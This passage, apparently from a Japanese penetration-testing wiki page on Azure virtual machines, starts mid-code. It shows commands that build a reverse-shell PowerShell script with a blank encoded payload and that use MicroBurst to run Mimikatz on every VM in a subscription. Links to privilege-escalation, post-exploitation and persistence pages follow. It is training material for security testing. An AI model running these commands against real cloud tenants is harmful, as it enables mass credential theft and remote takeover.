## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
{{#endtab }}
{{#endtabs }}

## 権限昇格

{{#ref}}
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}

## 認証されていないアクセス

{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}

## ポストエクスプロイト

{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}

## 永続性

{{#ref}}
../../az-persistence/az-vms-persistence.md
{{#endref}}

## 参考文献

- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)

{{#include ../../../../banners/hacktricks-training.md}}
